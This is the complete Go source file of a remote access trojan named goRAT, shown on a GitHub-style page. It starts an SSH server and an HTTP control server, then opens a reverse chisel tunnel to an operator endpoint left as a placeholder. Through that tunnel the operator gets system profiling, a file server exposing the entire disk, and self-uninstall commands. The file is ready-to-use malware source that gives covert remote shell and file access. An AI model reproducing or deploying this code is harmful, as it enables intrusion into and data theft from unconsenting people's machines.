-
Notifications
You must be signed in to change notification settings - Fork 15
/
goRAT.go
162 lines (135 loc) · 3.26 KB
/
goRAT.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
package main
import (
"encoding/json"
"fmt"
"math/rand"
"net/http"
"os"
"reflect"
"runtime"
"strconv"
"time"
ssh "github.com/JustinTimperio/GoRAT/shell"
"github.com/JustinTimperio/osinfo"
"github.com/jaypipes/ghw"
chisel "github.com/jpillora/chisel/client"
cos "github.com/jpillora/chisel/share/cos"
)
var (
endpoint_url = "@ENDPOINT_HERE@"
)
// Never obfuscate the Structs.
var _ = reflect.TypeOf(hardware{})
type hardware struct {
Runtime string
OSArch string
OSName string
OSVersion string
CPU string
Cores uint32
RAM string
GPU string
Drives string
}
func main() {
rand.Seed(time.Now().UnixNano())
BasePort := (rand.Intn(20000) * 2) + 10000
go ssh.SSHServer(BasePort)
go ControlServer(BasePort)
for {
ChiselWorker(BasePort)
time.Sleep(10 * time.Second)
}
}
// ControlServer Acts as a Simple Mechanism for Translating HTTP requests into GoLang Commands
func ControlServer(BasePort int) {
controlPort := strconv.Itoa(BasePort + 0)
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "OK\n")
})
http.HandleFunc("/stop", func(w http.ResponseWriter, r *http.Request) {
existenceIsPain()
})
http.HandleFunc("/uninstall", func(w http.ResponseWriter, r *http.Request) {
ex, err := os.Executable()
if err != nil {
existenceIsPain()
}
os.Remove(ex)
existenceIsPain()
})
http.HandleFunc("/hardware", func(w http.ResponseWriter, r *http.Request) {
// No Error Handling I Know But It Will Be Fine XD
release := osinfo.GetVersion()
memory, _ := ghw.Memory()
block, _ := ghw.Block()
gpu, _ := ghw.GPU()
cpu, _ := ghw.CPU()
// Set Values for JSON Return
info := hardware{}
for _, proc := range cpu.Processors {
info.CPU = proc.Model
}
for _, vc := range gpu.GraphicsCards {
info.GPU = vc.DeviceInfo.Product.Name
}
info.Runtime = release.Runtime
info.OSArch = release.Arch
info.OSName = release.Name
info.OSVersion = release.Version
info.Cores = cpu.TotalThreads
info.RAM = memory.String()
info.Drives = block.String()
// Encode and Return Struct as JSON
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(info)
})
// Start a Simple File Server on `/fs/`
fs := http.FileServer(http.Dir(getPaths()))
http.Handle("/fs/", http.StripPrefix("/fs/", fs))
http.ListenAndServe("127.0.0.1:"+controlPort, nil)
}
// ChiselWorker Creates a Reverse HTTPS Tunnel
func ChiselWorker(BasePort int) (err error) {
controlPort := strconv.Itoa(BasePort + 0)
sshPort := strconv.Itoa(BasePort + 1)
config := chisel.Config{Headers: http.Header{}}
config.Server = endpoint_url
config.Remotes = []string{"R:" + controlPort, "R:" + sshPort}
c, err := chisel.NewClient(&config)
if err != nil {
return err
}
c.Debug = true
go cos.GoStats()
ctx := cos.InterruptContext()
if err := c.Start(ctx); err != nil {
return err
}
if err := c.Wait(); err != nil {
return err
}
return nil
}
// getPaths Returns A Base Path for Each OS
func getPaths() (out string) {
switch runtime.GOOS {
case "linux":
return "/"
case "freebsd":
return "/"
case "openbsd":
return "/"
case "netbsd":
return "/"
case "darwin":
return "/"
case "windows":
return "C:\\"
}
return ""
}
func existenceIsPain() {
os.Exit(0)
panic("RIP")
}